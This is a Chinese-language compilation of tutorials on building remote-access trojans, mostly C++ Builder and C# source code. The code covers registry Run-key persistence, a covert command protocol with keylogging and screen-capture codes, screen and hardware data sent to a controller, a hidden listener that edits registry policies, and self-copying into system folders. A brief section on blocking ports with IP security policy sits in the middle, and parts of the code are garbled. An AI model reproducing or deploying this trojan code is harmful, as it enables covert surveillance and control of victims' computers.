    k=REG_OPENED_EXISTING_KEY;
    longa=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD  vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);

if(strcmp(str,"BGroup")==0)
{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
        break;
  }

}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}

自装载程序的卸载代码:

int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD  vl=254;
DWORD Suc;
do{
    Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
      if(strcmp(str,"BGroup")==0)
{
            DeleteFile(AnsiString(strv));
            RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
            break;
      }
}while(Suc== ERROR_SUCCESS)

HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
    Suc=RegEnumValue(hkey,(DWORD)num,str,    if(strcmp(str,"BackGroup")==0)
{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
        break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\\\Program Files\\\\Borland\\\\IntrBase\\\\BIN\\\\ibserver.exe");
}
regKey.CloseKey();
delete &reg;Key;

 

4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

C:\\Documents and Settings\\bigball>netstat –n

 

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:




网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{       //定义消息结构
//char ip[20];
char Type;    //消息种类
char Password[20];    //密码
int CNum;          //消息操作号
//int Length;    //消息长度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
        char Name[20];//对话框标题
        char Msg[256];//对话框消息内容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
char ClientName[20];//Client自定义的名称
char Msg[256];//发送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度

//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件

//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目录名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg
typedef struct{       //定义消息结构
char SType;    //消息种类
char SPassword[20];    //密码
//intSNum;            //消息操作号
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)

#define MSGListProgram  19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey  23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp请求消息
#define MSGCopyWindow 26

//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096];       //old struct : charProgramName[128];//要打开的程序的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum  为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:


Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;<BRTCH(MSG->TYPE)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;<BRTCH(MSG->TYPE)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:


#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}

 

intCNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

 

透视木马程序开发技术(下)

上两期我们推出《透视木马程序开发技术(上)》和《透视木马程序开发技术(中)》这期我们推出这个系列的最后一部份,希望能对你了解木马技术以便安全的管理你的计算机提供一定的帮助。

  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
    //TODO: Add your source codehere
    //获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys/1024/1024))+"\\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int(memory.dwAvailPhys/1024))+"\\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++)  {//循环检测A~Z
    type =GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
    if(type==0){
        cs="未知类型磁盘:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==2){
        cs="可移动类型磁盘:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==3){
        cs="固定磁盘:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==4)     {
        cs="网络映射磁盘:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if (type==5)    {
        cs="光驱:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if (type==6)    {
        cs="内存虚拟磁盘:"+String(name)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }

if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(),volname,255,&sno,&maxl,&fileflag,filename,100))    {
        cs=String(name)+"盘卷标为:"+String(volname)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        cs=String(name)+"盘序号为:"+String(sno)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster);//获得返回参数
        totalspace=int(cluster)*byte*sector/1024/1024;//计算总容量
        freespace=int(free)*byte*sector/1024/1024;//计算可用空间
        cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    }
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
    waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
    cs="当前波形设备:"+String(wavecap.szPname)+"\\n";
    fwrite(cs.c_str(),cs.Length(),1,fp);
    }
if (mididevice!=0){
    midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
    cs="当前MIDI设备:"+String(midicap.szPname)+"\\n";
    fwrite(cs.c_str(),cs.Length(),1,fp);
    }
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+String(Screen->Height)+"\\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"\\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);

buf=newchar[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
    sock->SendStream(ms);
    }
catch(Exception&e) {
    }
}

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

进入Windows的命令行模式下做如下操作
1)C:\\>copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”
3)C:\\>type Text.Txt>>Server.Exe
4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

IP安全策略 VS 特洛伊木马
当木马悄悄打开某扇“方便之门”(端口)时,不速之客就会神不知鬼不觉地侵入你的电脑。如果被种下木马其实也不必担心,首先我们要切断它们与外界的联系(就是 堵住可疑端口)。

  在Win 2000/XP/2003系统中,Microsoft管理控制台(MMC)已将系统的配置功能汇集成配置模块,大大方便我们进行特殊的设置(以Telnet利用的23端口为例,笔者的操作系统为Win XP)。

  操作步骤

  首先单击“运行”在框中输入“mmc”后回车,会弹出“控制台1”的窗口。我们依次选择“文件→添加/删除管理单元→在独立标签栏中点击‘添加’→IP安全策略管理”,最后按提示完成操作。这时,我们已把“IP安全策略,在本地计算机”(以下简称“IP安全策略”)添加到“控制台根节点”下。

  现在双击“IP安全策略”就可以新建一个管理规则了。右击“IP安全策略”,在弹出的快捷菜单中选择“创建IP安全策略”,打开IP安全策略向导,点击“下一步→名称默认为‘新IP安全策略’→下一步→不必选择‘激活默认响应规则’”(注意:在点击“下一步的同时,需要确认此时“编辑属性”被选中),然后选择“完成→在“新IP安全策略属性→添加→不必选择‘使用添加向导’”。

  在寻址栏的源地址应选择“任何IP地址”,目标地址选择“我的IP地址”(不必选择镜像)。在协议标签栏中,注意类型应为TCP,并设置IP协议端口从任意端口到此端口23,最后点击“确定”即可。这时在“IP筛选器列表”中会出现一个“新IP筛选器”,选中它,切换到“筛选器操作”标签栏,依次点击“添加→名称默认为‘新筛选器操作’→添加→阻止→完成”。

  新策略需要被激活才能起作用,具体方法是:在“新IP安全策略”上点右键,“指派”刚才制定的策略。

  效果

  现在,当我们从另一台电脑Telnet到设防的这一台时,系统会报告登录失败;用扫描工具扫描这台机子,会发现23端口仍然在提供服务。以同样的方法,大家可以把其它任何可疑的端口都封杀掉,让不速之客们大叫“不妙”去吧!

用C#实现木马程序分析

前言:

  因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

  使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接"+textBox1.Text +"\\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接"+"\\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\\r");
MessageBox.Show(ee.Message);
}
}


  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......"+ "\\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\\r");
MessageBox.Show("服务器未连接1控制无效!" +"\\r");
}
}//else if
}

 

4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\\r");
MessageBox.Show(control +"控制成功"+"\\r");
}
}

  服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

  2.控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode  

  3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(stringregistrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr+"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(stringmystring)函数来建立你需要的子键
RegistryKey key2 =rLocal.CreateSubKey("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr+"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}

  4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\\\winnnt\\\\system\\\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(stringsourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
